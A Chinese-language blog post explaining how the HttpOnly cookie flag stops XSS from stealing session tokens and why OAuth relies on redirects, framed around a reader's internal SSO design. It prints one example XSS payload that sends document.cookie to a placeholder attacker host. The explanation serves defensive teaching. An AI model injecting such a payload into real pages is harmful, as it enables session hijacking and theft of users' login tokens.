為什麼 httpOnly: true,XSS 失效

這是一個非常關鍵的資安設定。簡單來說,HttpOnly 是由伺服器傳給瀏覽器的一個指令,告訴瀏覽器:「這個 Cookie 只能由你偷偷帶著跑,不准讓任何 JavaScript 碰它。」

以下詳細解釋為什麼這個設定能讓 XSS (跨站腳本攻擊) 失去竊取 Token 的能力:


1. 什麼是 HttpOnly

當伺服器回傳 Set-Cookie 時,如果加上了 HttpOnly 屬性,瀏覽器會將該 Cookie 存入一個「受保護的區域」。

  • 一般 Cookie:前端 JavaScript 可以透過 document.cookie 讀取到內容。
  • HttpOnly Cookie:前端 JavaScript 呼叫 document.cookie 時,會完全看不到這個 Cookie,彷彿它不存在一樣。

2. 為什麼它能防禦 XSS?

XSS 攻擊的核心目標之一通常是「盜取身分(Session Hijacking)」。駭客會想辦法在你的網頁注入一段惡意程式碼(例如:<script>fetch('https://hacker.com/steal?cookie=' + document.cookie)</script>)。

  • 如果沒有 HttpOnly:惡意指令能直接讀取到你的 userToken,並傳送到駭客的伺服器。駭客拿到 Token 後,就可以在自己的電腦上偽裝成你。
  • 如果有 HttpOnly:即使駭客成功注入了腳本,當它執行 document.cookie 時,回傳結果會排除了那個關鍵 Token。駭客雖然能讓你在頁面上亂跳視窗,但他們「拿不走」你的登入憑證。

3. 在你的 SSO 計畫中,這意味著什麼?

  • 「Track A」: 所有 subdomain 共享同一個 userToken cookie。
  • 「Track B」: Portal 後端新增 SSO 專用 API 端點,搭配 CORS + Credentials

建議 從「Track A」轉向「Track B」 的主因:

Track A 的困境 (不安全)

  • 運作方式:子系統前端用 JS 去讀取 .example.com 下的 Cookie。
  • 缺點:為了讓 JS 讀得到,你不能設定 HttpOnly
  • 風險:萬一某個子系統(例如 old-blog.example.com)寫得很爛有 XSS 漏洞,駭客就能偷走整個 Portal 的 userToken

Track B 的優勢 (安全)

  • 運作方式:利用 fetch(..., { credentials: 'include' })
  • 關鍵點:當設定 credentials: 'include' 時,瀏覽器會自動把 Cookie 塞進 HTTP Header 送給後端。
  • 優點瀏覽器不需要透過 JS 讀取內容就能送出 Cookie。因此,你可以放心地把 HttpOnly 設為 true

總結對照表

屬性HttpOnly: false (預設)HttpOnly: true (推薦)
JS 是否可讀取✅ 可以 (document.cookie)❌ 不行
HTTP 請求是否會攜帶✅ 會✅ 會
XSS 攻擊風險極高 (Token 會被直接偷走)極低 (駭客看得到吃不到)
SSO 實現方式適合 Track A (JS 直接讀取)必須配合 Track B (CORS 憑證自動攜帶)

💡 一句總結:

設定 httpOnly: true 就像是給 Token 裝進了一個「只有瀏覽器能開、JavaScript 打不開」的保險箱,就算家裡進了小偷(XSS),他也搬不走你的保險箱。


在 OAuth 2.0 的標準流程(特別是 Authorization Code Grant)中,Redirect(重新導向) 是確保安全性的核心機制。

簡單來說,Redirect 的存在是為了讓「使用者身分驗證」與「第三方應用程式」之間建立一道防火牆


1. 保護使用者的帳號密碼(密碼不落地)

這是 Redirect 最直觀的原因。如果沒有 Redirect,第三方應用程式(Client)就必須自己提供一個輸入框讓你輸入帳號密碼,再傳給認證伺服器(AS)。

  • 風險: 第三方網頁可能會偷偷記錄你的密碼。
  • 解決: 透過 Redirect,瀏覽器會直接跳轉到 Portal 或 Google 的官方登入頁面。第三方系統完全接觸不到你的密碼,它只能在背景等待認證伺服器傳回結果。

2. 利用瀏覽器的 Session 狀態(單一登入 SSO)

Redirect 讓認證伺服器可以利用瀏覽器已存在的 Cookie。

  • 如果你已經在 Portal 登入過,當第三方系統將你 Redirect 到 Portal 時,Portal 的伺服器會讀取到你瀏覽器裡的登入 Cookie。
  • 結果: 你不需要再次輸入密碼,系統會直接顯示「是否同意授權」,達成流暢的 SSO 體驗。

3. 安全傳遞認證代碼(Authorization Code)

這是最技術性的原因。OAuth 流程中,認證伺服器不會直接把 Access Token 給前端,而是先給一個短效的 code

  • 認證伺服器透過 302 Redirectcode 附加在網址(URL)後方,傳回給第三方系統的後端。
  • 這確保了這個 code 是經由使用者的瀏覽器這個可信路徑傳遞的。

為什麼你的 SSO 實作計畫(Track B)不需要 Redirect?

這正是你計畫中提到的技術亮點。標準 OAuth 為了通用性必須使用 Redirect,但你的計畫中:

  • 網域信任: 你是在內部的 Portal 與子系統之間做串接。
  • CORS + Credentials: 你利用了 fetchcredentials: 'include' 特性,這相當於在背景(不跳轉頁面)執行了「確認登入狀態」的動作。
  • API 導向: 你設計了 /api/ssoCheck,讓子系統前端能像呼叫一般 API 一樣取得一次性 ssoToken,避開了傳統 OAuth 繁瑣的頁面跳轉。

標準 OAuth vs. 你的 Track B 流程對照

特性標準 OAuth (Redirect)你的 Track B (SSO API)
使用者體驗頁面會閃爍/跳轉至登入頁使用者留在原頁面,背景完成驗證
安全性依賴依賴 Redirect URI 白名單依賴 CORS Origin 白名單
Token 傳遞透過 URL 參數傳遞 Code透過 API Response 傳遞 ssoToken
適用場景外部第三方授權 (如 FB/Google 登入)內部子系統高度整合

一句話總結:

標準 OAuth 要求 Redirect 是為了不讓第三方經手密碼;而你的計畫是透過 CORS 安全白名單 在背景達成同樣的安全等級,同時換取更好的使用者體驗。

發佈留言

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *